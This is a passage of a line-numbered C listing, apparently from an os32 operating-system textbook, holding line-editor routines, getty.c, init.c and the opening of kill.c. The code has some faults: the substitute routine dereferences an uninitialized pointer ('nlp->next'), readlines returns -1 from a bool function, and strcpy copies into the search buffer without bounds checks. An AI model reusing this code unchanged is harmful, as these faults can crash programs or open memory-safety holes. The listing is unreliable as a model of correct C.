4700575     if (oldstr != searchstring)
4700576       {
4700577         strcpy (searchstring, oldstr);
4700578       }
4700579     //
4700580     lp = findline (num1);
4700581     if (lp == NULL)
4700582       {
4700583         return;
4700584       }
4700585     //
4700586     oldlen = strlen (oldstr);
4700587     newlen = strlen (newstr);
4700588     deltalen = newlen - oldlen;
4700589     offset = 0;
4700590     //
4700591     while (num1 <= num2)
4700592       {
4700593         offset = findstring (lp, oldstr, oldlen, offset);
4700594         if (offset < 0)
4700595           {
4700596             if (needprint)
4700597               {
4700598                 printlines (num1, num1, false);
4700599                 needprint = false;
4700600               }
```

```
4700601             //
4700602             offset = 0;
4700603             lp = lp->next;
4700604             num1++;
4700605             continue;
4700606           }
4700607         //
4700608         needprint = printflag;
4700609         didsub = true;
4700610         dirty = true;
4700611 
4700612         //------------------------------------------------------------
4700613         // If the replacement string is the same size or shorter
4700614         // than the old string, then the substitution is easy.
4700615         //------------------------------------------------------------
4700616 
4700617         if (deltalen <= 0)
4700618           {
4700619             memcpy (&lp->data[offset], newstr, newlen);
4700620             //
4700621             if (deltalen)
4700622               {
4700623                 memcpy (&lp->data[offset + newlen],
4700624                         &lp->data[offset + oldlen],
4700625                         lp->len - offset - oldlen);
4700626                 //
4700627                 lp->len += deltalen;
4700628               }
4700629             //
4700630             offset += newlen;
4700631             //
4700632             if (globalflag)
4700633               {
4700634                 continue;
4700635               }
4700636             //
4700637             if (needprint)
4700638               {
4700639                 printlines (num1, num1, false);
4700640                 needprint = false;
4700641               }
4700642             //
4700643             lp = nlp->next;
4700644             num1++;
4700645             continue;
4700646           }
4700647 
4700648         //------------------------------------------------------------
4700649         // The new string is larger, so allocate a new line
4700650         // structure and use that.  Link it in in place of
4700651         // the old line structure.
4700652         //------------------------------------------------------------
```

```
4700653 
4700654         nlp = (line_t *) malloc (sizeof (line_t) + lp->len + deltalen);
4700655         //
4700656         if (nlp == NULL)
4700657           {
4700658             fprintf (stderr, "Cannot get memory for line\n");
4700659             return;
4700660           }
4700661         //
4700662         nlp->len = lp->len + deltalen;
4700663         //
4700664         memcpy (nlp->data, lp->data, offset);
4700665         //
4700666         memcpy (&nlp->data[offset], newstr, newlen);
4700667         //
4700668         memcpy (&nlp->data[offset + newlen],
4700669                 &lp->data[offset + oldlen], lp->len - offset - oldlen);
4700670         //
4700671         nlp->next = lp->next;
4700672         nlp->prev = lp->prev;
4700673         nlp->prev->next = nlp;
4700674         nlp->next->prev = nlp;
4700675         //
4700676         if (curline == lp)
4700677           {
4700678             curline = nlp;
4700679           }
4700680         //
4700681         free (lp);
4700682         lp = nlp;
4700683         //
4700684         offset += newlen;
4700685         //
4700686         if (globalflag)
4700687           {
4700688             continue;
4700689           }
4700690         //
4700691         if (needprint)
4700692           {
4700693             printlines (num1, num1, false);
4700694             needprint = false;
4700695           }
4700696         //
4700697         lp = lp->next;
4700698         num1++;
4700699       }
4700700     //
4700701     if (!didsub)
4700702       {
4700703         fprintf (stderr, "No substitutions found for \"%s\"\n", oldstr);
4700704       }
```

```
4700705 }
4700706
4700707 //----------------------------------------------------------------------
4700708 // Search a line for the specified string starting at the specified
4700709 // offset in the line.  Returns the offset of the found string, or -1.
4700710 //----------------------------------------------------------------------
4700711 len_t
4700712 findstring (line_t * lp, char *str, len_t len, len_t offset)
4700713 {
4700714   len_t           left;
4700715   char           *cp;
4700716   char           *ncp;
4700717   //
4700718   cp = &lp->data[offset];
4700719   left = lp->len - offset;
4700720   //
4700721   while (left >= len)
4700722     {
4700723       ncp = memchr (cp, *str, left);
4700724       if (ncp == NULL)
4700725         {
4700726           return (len_t) - 1;
4700727         }
4700728       //
4700729       left -= (ncp - cp);
4700730       if (left < len)
4700731         {
4700732           return (len_t) - 1;
4700733         }
4700734       //
4700735       cp = ncp;
4700736       if (memcmp (cp, str, len) == 0)
4700737         {
4700738           return (len_t) (cp - lp->data);
4700739         }
4700740       //
4700741       cp++;
4700742       left--;
4700743     }
4700744   //
4700745   return (len_t) - 1;
4700746 }
4700747
4700748 //----------------------------------------------------------------------
4700749 // Add lines which are typed in by the user.
4700750 // The lines are inserted just before the specified line number.
4700751 // The lines are terminated by a line containing a single dot (ugly!),
4700752 // or by an end of file.
4700753 //----------------------------------------------------------------------
4700754 void
4700755 addlines (num_t num)
4700756 {
```

```
4700757     int             len;
4700758     char            buf[USERSIZE + 1];
4700759     //
4700760     while (fgets (buf, sizeof (buf), stdin))
4700761       {
4700762         if ((buf[0] == '.') && (buf[1] == '\n') && (buf[2] == '\0'))
4700763           {
4700764             return;
4700765           }
4700766         //
4700767         len = strlen (buf);
4700768         //
4700769         if (len == 0)
4700770           {
4700771             return;
4700772           }
4700773         //
4700774         if (buf[len - 1] != '\n')
4700775           {
4700776             fprintf (stderr, "Line too long\n");
4700777             //
4700778             do
4700779               {
4700780                 len = fgetc (stdin);
4700781               }
4700782             while ((len != EOF) && (len != '\n'));
4700783             //
4700784             return;
4700785           }
4700786         //
4700787         if (!insertline (num++, buf, len))
4700788           {
4700789             return;
4700790           }
4700791       }
4700792   }
4700793
4700794   //----------------------------------------------------------------------
4700795   // Parse a line number argument if it is present.  This is a sum
4700796   // or difference of numbers, '.', '$', 'x, or a search string.
4700797   // Returns true if successful (whether or not there was a number).
4700798   // Returns false if there was a parsing error, with a message output.
4700799   // Whether there was a number is returned indirectly, as is the number.
4700800   // The character pointer which stopped the scan is also returned.
4700801   //----------------------------------------------------------------------
4700802   static          bool
4700803   getnum (char **retcp, bool * rethavenum, num_t * retnum)
4700804   {
4700805     char            *cp;
4700806     char            *str;
4700807     bool             havenum;
4700808     num_t            value;
```

```
4700809     num_t           num;
4700810     num_t           sign;
4700811     //
4700812     cp = *retcp;
4700813     havenum = false;
4700814     value = 0;
4700815     sign = 1;
4700816     //
4700817     while (true)
4700818       {
4700819         while (isblank (*cp))
4700820           {
4700821             cp++;
4700822           }
4700823         //
4700824         switch (*cp)
4700825           {
4700826           case '.':
4700827             havenum = true;
4700828             num = curnum;
4700829             cp++;
4700830             break;
4700831             //
4700832           case '$':
4700833             havenum = true;
4700834             num = lastnum;
4700835             cp++;
4700836             break;
4700837             //
4700838           case '\'':
4700839             cp++;
4700840             if ((*cp < 'a') || (*cp > 'z'))
4700841               {
4700842                 fprintf (stderr, "Bad mark name\n");
4700843                 return false;
4700844               }
4700845             //
4700846             havenum = true;
4700847             num = marks[*cp++ - 'a'];
4700848             break;
4700849             //
4700850           case '/':
4700851             str = ++cp;
4700852             cp = strchr (str, '/');
4700853             if (cp)
4700854               {
4700855                 *cp++ = '\0';
4700856               }
4700857             else
4700858               {
4700859                 cp = "";
4700860               }
```

```
4700861             num = searchlines (str, curnum, lastnum);
4700862             if (num == 0)
4700863               {
4700864                 return false;
4700865               }
4700866             //
4700867             havenum = true;
4700868             break;
4700869             //
4700870           default:
4700871             if (!isdigit (*cp))
4700872               {
4700873                 *retcp = cp;
4700874                 *rethavenum = havenum;
4700875                 *retnum = value;
4700876                 return true;
4700877               }
4700878             //
4700879             num = 0;
4700880             while (isdigit (*cp))
4700881               {
4700882                 num = num * 10 + *cp++ - '0';
4700883               }
4700884             havenum = true;
4700885             break;
4700886           }
4700887         //
4700888         value += num * sign;
4700889         //
4700890         while (isblank (*cp))
4700891           {
4700892             cp++;
4700893           }
4700894         //
4700895         switch (*cp)
4700896           {
4700897           case '-':
4700898             sign = -1;
4700899             cp++;
4700900             break;
4700901             //
4700902           case '+':
4700903             sign = 1;
4700904             cp++;
4700905             break;
4700906             //
4700907           default:
4700908             *retcp = cp;
4700909             *rethavenum = havenum;
4700910             *retnum = value;
4700911             return true;
4700912           }
```

```
4700913       }
4700914   }
4700915
4700916   //----------------------------------------------------------------------
4700917   // Initialize everything for editing.
4700918   //----------------------------------------------------------------------
4700919   bool
4700920   initedit (void)
4700921   {
4700922     int              i;
4700923     //
4700924     bufsize = INITBUFSIZE;
4700925     bufbase = malloc (bufsize);
4700926     //
4700927     if (bufbase == NULL)
4700928       {
4700929         fprintf (stderr, "No memory for buffer\n");
4700930         return false;
4700931       }
4700932     //
4700933     bufptr = bufbase;
4700934     bufused = 0;
4700935     //
4700936     lines.next = &lines;
4700937     lines.prev = &lines;
4700938     //
4700939     curline = NULL;
4700940     curnum = 0;
4700941     lastnum = 0;
4700942     dirty = false;
4700943     filename = NULL;
4700944     searchstring[0] = '\0';
4700945     //
4700946     for (i = 0; i < 26; i++)
4700947       {
4700948         marks[i] = 0;
4700949       }
4700950     //
4700951     return true;
4700952   }
4700953
4700954   //----------------------------------------------------------------------
4700955   // Finish editing.
4700956   //----------------------------------------------------------------------
4700957   void
4700958   termedit (void)
4700959   {
4700960     if (bufbase)
4700961       free (bufbase);
4700962     bufbase = NULL;
4700963     //
4700964     bufptr = NULL;
```

```
4700965     bufsize = 0;
4700966     bufused = 0;
4700967     //
4700968     if (filename)
4700969       free (filename);
4700970     filename = NULL;
4700971     //
4700972     searchstring[0] = '\0';
4700973     //
4700974     if (lastnum)
4700975       deletelines (1, lastnum);
4700976     //
4700977     lastnum = 0;
4700978     curnum = 0;
4700979     curline = NULL;
4700980   }
4700981
4700982   //----------------------------------------------------------------------
4700983   // Read lines from a file at the specified line number.
4700984   // Returns true if the file was successfully read.
4700985   //----------------------------------------------------------------------
4700986   bool
4700987   readlines (char *file, num_t num)
4700988   {
4700989     int              fd;
4700990     int              cc;
4700991     len_t            len;
4700992     len_t            linecount;
4700993     len_t            charcount;
4700994     char            *cp;
4700995     //
4700996     if ((num < 1) || (num > lastnum + 1))
4700997       {
4700998         fprintf (stderr, "Bad line for read\n");
4700999         return false;
4701000       }
4701001     //
4701002     fd = open (file, O_RDONLY);
4701003     if (fd < 0)
4701004       {
4701005         perror (file);
4701006         return false;
4701007       }
4701008     //
4701009     bufptr = bufbase;
4701010     bufused = 0;
4701011     linecount = 0;
4701012     charcount = 0;
4701013     //
4701014     printf ("\"%s\", ", file);
4701015     fflush (stdout);
4701016     //
```

```
4701017     do
4701018       {
4701019         cp = memchr (bufptr, '\n', bufused);
4701020         if (cp)
4701021           {
4701022             len = (cp - bufptr) + 1;
4701023             //
4701024             if (!insertline (num, bufptr, len))
4701025               {
4701026                 close (fd);
4701027                 return false;
4701028               }
4701029             //
4701030             bufptr += len;
4701031             bufused -= len;
4701032             charcount += len;
4701033             linecount++;
4701034             num++;
4701035             continue;
4701036           }
4701037         //
4701038         if (bufptr != bufbase)
4701039           {
4701040             memcpy (bufbase, bufptr, bufused);
4701041             bufptr = bufbase + bufused;
4701042           }
4701043         //
4701044         if (bufused >= bufsize)
4701045           {
4701046             len = (bufsize * 3) / 2;
4701047             cp = realloc (bufbase, len);
4701048             if (cp == NULL)
4701049               {
4701050                 fprintf (stderr, "No memory for buffer\n");
4701051                 close (fd);
4701052                 return false;
4701053               }
4701054             //
4701055             bufbase = cp;
4701056             bufptr = bufbase + bufused;
4701057             bufsize = len;
4701058           }
4701059         //
4701060         cc = read (fd, bufptr, bufsize - bufused);
4701061         bufused += cc;
4701062         bufptr = bufbase;
4701063       }
4701064     while (cc > 0);
4701065     //
4701066     if (cc < 0)
4701067       {
4701068         perror (file);
```

```
4701069         close (fd);
4701070         return false;
4701071       }
4701072     //
4701073     if (bufused)
4701074       {
4701075         if (!insertline (num, bufptr, bufused))
4701076           {
4701077             close (fd);
4701078             return -1;
4701079           }
4701080         linecount++;
4701081         charcount += bufused;
4701082       }
4701083     //
4701084     close (fd);
4701085     //
4701086     printf ("%d lines%s, %d chars\n",
4701087             linecount, (bufused ? " (incomplete)" : ""), charcount);
4701088     //
4701089     return true;
4701090   }
4701091
4701092   //----------------------------------------------------------------------
4701093   // Write the specified lines out to the specified file.
4701094   // Returns true if successful, or false on an error with a message
4701095   // output.
4701096   //----------------------------------------------------------------------
4701097   bool
4701098   writelines (char *file, num_t num1, num_t num2)
4701099   {
4701100     int             fd;
4701101     line_t         *lp;
4701102     len_t           linecount;
4701103     len_t           charcount;
4701104     //
4701105     if ((num1 < 1) || (num2 > lastnum) || (num1 > num2))
4701106       {
4701107         fprintf (stderr, "Bad line range for write\n");
4701108         return false;
4701109       }
4701110     //
4701111     linecount = 0;
4701112     charcount = 0;
4701113     //
4701114     fd = creat (file, 0666);
4701115     if (fd < 0)
4701116       {
4701117         perror (file);
4701118         return false;
4701119       }
4701120     //
```

```
4701121     printf ("\"%s\", ", file);
4701122     fflush (stdout);
4701123     //
4701124     lp = findline (num1);
4701125     if (lp == NULL)
4701126       {
4701127         close (fd);
4701128         return false;
4701129       }
4701130     //
4701131     while (num1++ <= num2)
4701132       {
4701133         if (write (fd, lp->data, lp->len) != lp->len)
4701134           {
4701135             perror (file);
4701136             close (fd);
4701137             return false;
4701138           }
4701139         //
4701140         charcount += lp->len;
4701141         linecount++;
4701142         lp = lp->next;
4701143       }
4701144     //
4701145     if (close (fd) < 0)
4701146       {
4701147         perror (file);
4701148         return false;
4701149       }
4701150     //
4701151     printf ("%d lines, %d chars\n", linecount, charcount);
4701152     //
4701153     return true;
4701154   }
4701155   
4701156   //----------------------------------------------------------------------
4701157   // Print lines in a specified range.
4701158   // The last line printed becomes the current line.
4701159   // If expandflag is true, then the line is printed specially to
4701160   // show magic characters.
4701161   //----------------------------------------------------------------------
4701162   bool
4701163   printlines (num_t num1, num_t num2, bool expandflag)
4701164   {
4701165     line_t         *lp;
4701166     unsigned char  *cp;
4701167     int             ch;
4701168     len_t           count;
4701169     //
4701170     if ((num1 < 1) || (num2 > lastnum) || (num1 > num2))
4701171       {
4701172         fprintf (stderr, "Bad line range for print\n");
```

```
4701173             return false;
4701174           }
4701175         //
4701176         lp = findline (num1);
4701177         if (lp == NULL)
4701178           {
4701179             return false;
4701180           }
4701181         //
4701182         while (num1 <= num2)
4701183           {
4701184             if (!expandflag)
4701185               {
4701186                 write (STDOUT_FILENO, lp->data, lp->len);
4701187                 setcurnum (num1++);
4701188                 lp = lp->next;
4701189                 continue;
4701190               }
4701191 
4701192             //-----------------------------------------------------------
4701193             // Show control characters and characters with the
4701194             // high bit set specially.
4701195             //-----------------------------------------------------------
4701196 
4701197             cp = (unsigned char *) lp->data;
4701198             count = lp->len;
4701199             //
4701200             if ((count > 0) && (cp[count - 1] == '\n'))
4701201               {
4701202                 count--;
4701203               }
4701204             //
4701205             while (count-- > 0)
4701206               {
4701207                 ch = *cp++;
4701208                 if (ch & 0x80)
4701209                   {
4701210                     fputs ("M-", stdout);
4701211                     ch &= 0x7f;
4701212                   }
4701213                 if (ch < ' ')
4701214                   {
4701215                     fputc ('^', stdout);
4701216                     ch += '@';
4701217                   }
4701218                 if (ch == 0x7f)
4701219                   {
4701220                     fputc ('^', stdout);
4701221                     ch = '?';
4701222                   }
4701223                 fputc (ch, stdout);
4701224               }
```

```
4701225         //
4701226         fputs ("$\n", stdout);
4701227         //
4701228         setcurnum (num1++);
4701229         lp = lp->next;
4701230       }
4701231     //
4701232     return true;
4701233   }
4701234 
4701235   //----------------------------------------------------------------------
4701236   // Insert a new line with the specified text.
4701237   // The line is inserted so as to become the specified line,
4701238   // thus pushing any existing and further lines down one.
4701239   // The inserted line is also set to become the current line.
4701240   // Returns true if successful.
4701241   //----------------------------------------------------------------------
4701242   bool
4701243   insertline (num_t num, char *data, len_t len)
4701244   {
4701245     line_t         *newlp;
4701246     line_t         *lp;
4701247     //
4701248     if ((num < 1) || (num > lastnum + 1))
4701249       {
4701250         fprintf (stderr, "Inserting at bad line number\n");
4701251         return false;
4701252       }
4701253     //
4701254     newlp = (line_t *) malloc (sizeof (line_t) + len - 1);
4701255     if (newlp == NULL)
4701256       {
4701257         fprintf (stderr, "Failed to allocate memory for line\n");
4701258         return false;
4701259       }
4701260     //
4701261     memcpy (newlp->data, data, len);
4701262     newlp->len = len;
4701263     //
4701264     if (num > lastnum)
4701265       {
4701266         lp = &lines;
4701267       }
4701268     else
4701269       {
4701270         lp = findline (num);
4701271         if (lp == NULL)
4701272           {
4701273             free ((char *) newlp);
4701274             return false;
4701275           }
4701276       }
```

```
4701277     //
4701278     newlp->next = lp;
4701279     newlp->prev = lp->prev;
4701280     lp->prev->next = newlp;
4701281     lp->prev = newlp;
4701282     //
4701283     lastnum++;
4701284     dirty = true;
4701285     //
4701286     return setcurnum (num);
4701287   }
4701288
4701289   //----------------------------------------------------------------------
4701290   // Delete lines from the given range.
4701291   //----------------------------------------------------------------------
4701292   bool
4701293   deletelines (num_t num1, num_t num2)
4701294   {
4701295     line_t          *lp;
4701296     line_t          *nlp;
4701297     line_t          *plp;
4701298     num_t            count;
4701299     //
4701300     if ((num1 < 1) || (num2 > lastnum) || (num1 > num2))
4701301       {
4701302         fprintf (stderr, "Bad line numbers for delete\n");
4701303         return false;
4701304       }
4701305     //
4701306     lp = findline (num1);
4701307     if (lp == NULL)
4701308       {
4701309         return false;
4701310       }
4701311     //
4701312     if ((curnum >= num1) && (curnum <= num2))
4701313       {
4701314         if (num2 < lastnum)
4701315           {
4701316             setcurnum (num2 + 1);
4701317           }
4701318         else if (num1 > 1)
4701319           {
4701320             setcurnum (num1 - 1);
4701321           }
4701322         else
4701323           {
4701324             curnum = 0;
4701325           }
4701326       }
4701327     //
4701328     count = num2 - num1 + 1;
```

```
4701329     //
4701330     if (curnum > num2)
4701331       {
4701332         curnum -= count;
4701333       }
4701334     //
4701335     lastnum -= count;
4701336     //
4701337     while (count-- > 0)
4701338       {
4701339         nlp = lp->next;
4701340         plp = lp->prev;
4701341         plp->next = nlp;
4701342         nlp->prev = plp;
4701343         lp->next = NULL;
4701344         lp->prev = NULL;
4701345         lp->len = 0;
4701346         free (lp);
4701347         lp = nlp;
4701348       }
4701349     //
4701350     dirty = true;
4701351     //
4701352     return true;
4701353   }
4701354
4701355   //----------------------------------------------------------------------
4701356   // Search for a line which contains the specified string.
4701357   // If the string is NULL, then the previously searched for string
4701358   // is used.  The currently searched for string is saved for future use.
4701359   // Returns the line number which matches, or 0 if there was no match
4701360   // with an error printed.
4701361   //----------------------------------------------------------------------
4701362   num_t
4701363   searchlines (char *str, num_t num1, num_t num2)
4701364   {
4701365     line_t          *lp;
4701366     int              len;
4701367     //
4701368     if ((num1 < 1) || (num2 > lastnum) || (num1 > num2))
4701369       {
4701370         fprintf (stderr, "Bad line numbers for search\n");
4701371         return 0;
4701372       }
4701373     //
4701374     if (*str == '\0')
4701375       {
4701376         if (searchstring[0] == '\0')
4701377           {
4701378             fprintf (stderr, "No previous search string\n");
4701379             return 0;
4701380           }
```

```
4701381         str = searchstring;
4701382       }
4701383     //
4701384     if (str != searchstring)
4701385       {
4701386         strcpy (searchstring, str);
4701387       }
4701388     //
4701389     len = strlen (str);
4701390     //
4701391     lp = findline (num1);
4701392     if (lp == NULL)
4701393       {
4701394         return 0;
4701395       }
4701396     //
4701397     while (num1 <= num2)
4701398       {
4701399         if (findstring (lp, str, len, 0) >= 0)
4701400           {
4701401             return num1;
4701402           }
4701403         //
4701404         num1++;
4701405         lp = lp->next;
4701406       }
4701407     //
4701408     fprintf (stderr, "Cannot find string \"%s\"\n", str);
4701409     //
4701410     return 0;
4701411   }
4701412
4701413   //----------------------------------------------------------------------
4701414   // Return a pointer to the specified line number.
4701415   //----------------------------------------------------------------------
4701416   line_t          *
4701417   findline (num_t num)
4701418   {
4701419     line_t          *lp;
4701420     num_t            lnum;
4701421     //
4701422     if ((num < 1) || (num > lastnum))
4701423       {
4701424         fprintf (stderr, "Line number %d does not exist\n", num);
4701425         return NULL;
4701426       }
4701427     //
4701428     if (curnum <= 0)
4701429       {
4701430         curnum = 1;
4701431         curline = lines.next;
4701432       }
```

```
4701433     //
4701434     if (num == curnum)
4701435       {
4701436         return curline;
4701437       }
4701438     //
4701439     lp = curline;
4701440     lnum = curnum;
4701441     //
4701442     if (num < (curnum / 2))
4701443       {
4701444         lp = lines.next;
4701445         lnum = 1;
4701446       }
4701447     else if (num > ((curnum + lastnum) / 2))
4701448       {
4701449         lp = lines.prev;
4701450         lnum = lastnum;
4701451       }
4701452     //
4701453     while (lnum < num)
4701454       {
4701455         lp = lp->next;
4701456         lnum++;
4701457       }
4701458     //
4701459     while (lnum > num)
4701460       {
4701461         lp = lp->prev;
4701462         lnum--;
4701463       }
4701464     //
4701465     return lp;
4701466   }
4701467
4701468   //----------------------------------------------------------------------
4701469   // Set the current line number.
4701470   // Returns true if successful.
4701471   //----------------------------------------------------------------------
4701472   bool
4701473   setcurnum (num_t num)
4701474   {
4701475     line_t          *lp;
4701476     //
4701477     lp = findline (num);
4701478     if (lp == NULL)
4701479       {
4701480         return false;
4701481       }
4701482     //
4701483     curnum = num;
4701484     curline = lp;
```

```
4701485    //
4701486    return true;
4701487  }
4701488
4701489  /* END CODE */
```

121.1.15 applic/getty.c

Si veda la sezione 117.1.

```
4710001  #include <unistd.h>
4710002  #include <stdio.h>
4710003  #include <stdlib.h>
4710004  #include <signal.h>
4710005  #include <sys/wait.h>
4710006  #include <limits.h>
4710007  #include <sys/os32.h>
4710008  #include <fcntl.h>
4710009  #include <stdio.h>
4710010  //----------------------------------------------------------------------
4710011  int
4710012  main (int argc, char *argv[], char *envp[])
4710013  {
4710014    char            *device_name;
4710015    int              fdn;
4710016    char            *exec_argv[2];
4710017    char           **exec_envp;
4710018    char             buffer[BUFSIZ];
4710019    ssize_t          size_read;
4710020    int              status;
4710021    //
4710022    // The first argument is mandatory and must be a console terminal.
4710023    //
4710024    device_name = argv[1];
4710025    //
4710026    // A console terminal is correctly selected (but it is not checked
4710027    // if it is a really available one).
4710028    // Set as a process group leader.
4710029    //
4710030    setpgrp ();
4710031    //
4710032    // Open the terminal, that should become the controlling terminal:
4710033    // close the standard input and open the new terminal (r/w).
4710034    //
4710035    close (0);
4710036    fdn = open (device_name, O_RDWR);
4710037    if (fdn < 0)
4710038      {
4710039        //
4710040        // Cannot open terminal. A message should appear, at least
4710041        // to the current console.
```

```
4710042         //
4710043         perror (NULL);
4710044         return (-1);
4710045       }
4710046     //
4710047     // Reset terminal device permissions and ownership.
4710048     //
4710049     status = fchown (fdn, (uid_t) 0, (gid_t) 0);
4710050     if (status != 0)
4710051       {
4710052         perror (NULL);
4710053       }
4710054     status = fchmod (fdn, 0644);
4710055     if (status != 0)
4710056       {
4710057         perror (NULL);
4710058       }
4710059     //
4710060     // The terminal is open and it should be already the controlling
4710061     // one: show '/etc/issue'. The same variable 'fdn' is used, because
4710062     // the controlling terminal will never be closed (the exit syscall
4710063     // will do it).
4710064     //
4710065     fdn = open ("/etc/issue", O_RDONLY);
4710066     if (fdn > 0)
4710067       {
4710068         //
4710069         // The file is present and is shown.
4710070         //
4710071         for (size_read = 1; size_read > 0;)
4710072           {
4710073             size_read = read (fdn, buffer, (size_t) (BUFSIZ - 1));
4710074             if (size_read < 0)
4710075               {
4710076                 break;
4710077               }
4710078             buffer[size_read] = '\0';
4710079             printf ("%s", buffer);
4710080           }
4710081         close (fdn);
4710082       }
4710083     //
4710084     // Show the terminal.
4710085     //
4710086     printf ("This is terminal %s\n", device_name);
4710087     //
4710088     // It is time to exec login: the environment is inherited directly
4710089     // from 'init'.
4710090     //
4710091     exec_argv[0] = "login";
4710092     exec_argv[1] = NULL;
4710093     exec_envp = envp;
```

```
4710094     execve ("/bin/login", exec_argv, exec_envp);
4710095     //
4710096     // If 'execve()' returns, it is an error.
4710097     //
4710098     exit (-1);
4710099 }
```

121.1.16 applic/init.c

Si veda la sezione 117.2.

```
4720001 #include <unistd.h>
4720002 #include <stdio.h>
4720003 #include <stdlib.h>
4720004 #include <signal.h>
4720005 #include <sys/wait.h>
4720006 #include <limits.h>
4720007 #include <sys/os32.h>
4720008 #include <fcntl.h>
4720009 #include <string.h>
4720010 //----------------------------------------------------------------------
4720011 #define RESPAWN_MAX         7
4720012 #define COMMAND_MAX       100
4720013 #define LINE_MAX         1024
4720014 //----------------------------------------------------------------------
4720015 int
4720016 main (int argc, char *argv[], char *envp[])
4720017 {
4720018     //
4720019     // 'init.c' has its own 'init.crt0.s' with a very small stack
4720020     // size. Remember to verify to have enough room for the stack.
4720021     //
4720022     pid_t            pid;
4720023     int              status;
4720024     char            *exec_argv[3];
4720025     char            *exec_envp[3];
4720026     char             buffer[LINE_MAX];
4720027     int              r;              // Respawn table index.
4720028     int              b;              // Buffer index.
4720029     size_t           size_read;
4720030     char            *inittab_id;
4720031     char            *inittab_runlevels;
4720032     char            *inittab_action;
4720033     char            *inittab_process;
4720034     int              eof;
4720035     int              fd;
4720036     //
4720037     // It follows a table for commands to be respawn.
4720038     //
4720039     struct
4720040     {
```

```
4720041       pid_t           pid;
4720042       char            command[COMMAND_MAX];
4720043     } respawn[RESPAWN_MAX];
4720044 
4720045     //------------------------------------------------------------------
4720046     signal (SIGHUP, SIG_IGN);
4720047     signal (SIGINT, SIG_IGN);
4720048     signal (SIGQUIT, SIG_IGN);
4720049     signal (SIGILL, SIG_IGN);
4720050     signal (SIGABRT, SIG_IGN);
4720051     signal (SIGFPE, SIG_IGN);
4720052   //  signal (SIGKILL, SIG_IGN);  Cannot ignore SIGKILL.
4720053     signal (SIGSEGV, SIG_IGN);
4720054     signal (SIGPIPE, SIG_IGN);
4720055     signal (SIGALRM, SIG_IGN);
4720056     signal (SIGTERM, SIG_IGN);
4720057   //  signal (SIGSTOP, SIG_IGN);  Cannot ignore SIGSTOP.
4720058     signal (SIGTSTP, SIG_IGN);
4720059     signal (SIGCONT, SIG_IGN);
4720060     signal (SIGTTIN, SIG_IGN);
4720061     signal (SIGTTOU, SIG_IGN);
4720062     signal (SIGUSR1, SIG_IGN);
4720063     signal (SIGUSR2, SIG_IGN);
4720064     //------------------------------------------------------------------
4720065     printf ("init\n");
4720066     //  heap_clear ();
4720067     //  process_info ();
4720068     //------------------------------------------------------------------
4720069     //
4720070     // Reset the `respawn' table.
4720071     //
4720072     for (r = 0; r < RESPAWN_MAX; r++)
4720073       {
4720074         respawn[r].pid = 0;
4720075         respawn[r].command[0] = 0;
4720076         respawn[r].command[COMMAND_MAX - 1] = 0;
4720077       }
4720078     //
4720079     // Read the `/etc/inittab' file.
4720080     //
4720081     fd = open ("/etc/inittab", O_RDONLY);
4720082     //
4720083     if (fd < 0)
4720084       {
4720085         perror ("Cannot open file `/etc/inittab'");
4720086         exit (-1);
4720087       }
4720088     //
4720089     //
4720090     //
4720091     for (eof = 0, r = 0; !eof && r < RESPAWN_MAX; r++)
4720092       {
```

```
4720093         for (b = 0; b < LINE_MAX; b++)
4720094           {
4720095             size_read = read (fd, &buffer[b], (size_t) 1);
4720096             if (size_read <= 0)
4720097               {
4720098                 buffer[b] = 0;
4720099                 eof = 1;          // Close the read loop.
4720100                 break;
4720101               }
4720102             if (buffer[b] == '\n')
4720103               {
4720104                 buffer[b] = 0;
4720105                 break;
4720106               }
4720107           }
4720108         //
4720109         // Remove comments: just replace '#' with '\0'.
4720110         //
4720111         for (b = 0; b < LINE_MAX; b++)
4720112           {
4720113             if (buffer[b] == '#')
4720114               {
4720115                 buffer[b] = 0;
4720116                 break;
4720117               }
4720118           }
4720119         //
4720120         // If the buffer is an empty string, just loop to next
4720121         // record.
4720122         //
4720123         if (strlen (buffer) == 0)
4720124           {
4720125             r--;
4720126             continue;
4720127           }
4720128         //
4720129         //
4720130         //
4720131         inittab_id = strtok (buffer, ":");
4720132         inittab_runlevels = strtok (NULL, ":");
4720133         inittab_action = strtok (NULL, ":");
4720134         inittab_process = strtok (NULL, ":");
4720135         //
4720136         // Only action 'respawn' is used.
4720137         //
4720138         if (strcmp (inittab_action, "respawn") == 0)
4720139           {
4720140             strncpy (respawn[r].command, inittab_process, COMMAND_MAX);
4720141           }
4720142         else
4720143           {
4720144             r--;
```

```
4720145             }
4720146         }
4720147     //
4720148     //
4720149     //
4720150     close (fd);
4720151     //
4720152     // Define common environment.
4720153     //
4720154     exec_envp[0] = "PATH=/bin:/usr/bin:/sbin:/usr/sbin";
4720155     exec_envp[1] = "CONSOLE=/dev/console";
4720156     exec_envp[2] = NULL;
4720157     //
4720158     // Start processes.
4720159     //
4720160     for (r = 0; r < RESPAWN_MAX; r++)
4720161       {
4720162         if (strlen (respawn[r].command) > 0)
4720163           {
4720164             respawn[r].pid = fork ();
4720165             if (respawn[r].pid == 0)
4720166               {
4720167                 exec_argv[0] = strtok (respawn[r].command, " \t");
4720168                 exec_argv[1] = strtok (NULL, " \t");
4720169                 exec_argv[2] = NULL;
4720170                 execve (exec_argv[0], exec_argv, exec_envp);
4720171                 perror (NULL);
4720172                 exit (0);
4720173               }
4720174           }
4720175       }
4720176     //
4720177     // Wait for the death of child.
4720178     //
4720179     while (1)
4720180       {
4720181         pid = wait (&status);
4720182         for (r = 0; r < RESPAWN_MAX; r++)
4720183           {
4720184             if (pid == respawn[r].pid)
4720185               {
4720186                 //
4720187                 // Run it again.
4720188                 //
4720189                 respawn[r].pid = fork ();
4720190                 if (respawn[r].pid == 0)
4720191                   {
4720192                     exec_argv[0] = strtok (respawn[r].command, " \t");
4720193                     exec_argv[1] = strtok (NULL, " \t");
4720194                     exec_argv[2] = NULL;
4720195                     execve (exec_argv[0], exec_argv, exec_envp);
4720196                     exit (0);
```

```
4720197                 }
4720198                 break;
4720199             }
4720200         }
4720201     }
4720202 }
```

121.1.17 applic/kill.c

Si veda la sezione 111.12.

```
4730001 #include <sys/os32.h>
4730002 #include <sys/stat.h>
4730003 #include <sys/types.h>
4730004 #include <unistd.h>
4730005 #include <stdlib.h>
4730006 #include <fcntl.h>
4730007 #include <errno.h>
4730008 #include <signal.h>
4730009 #include <stdio.h>
4730010 #include <string.h>
4730011 #include <limits.h>
4730012 #include <libgen.h>
4730013 //----------------------------------------------------------------------
4730014 static void     usage (void);
4730015 //----------------------------------------------------------------------
4730016 int
4730017 main (int argc, char *argv[], char *envp[])
4730018 {
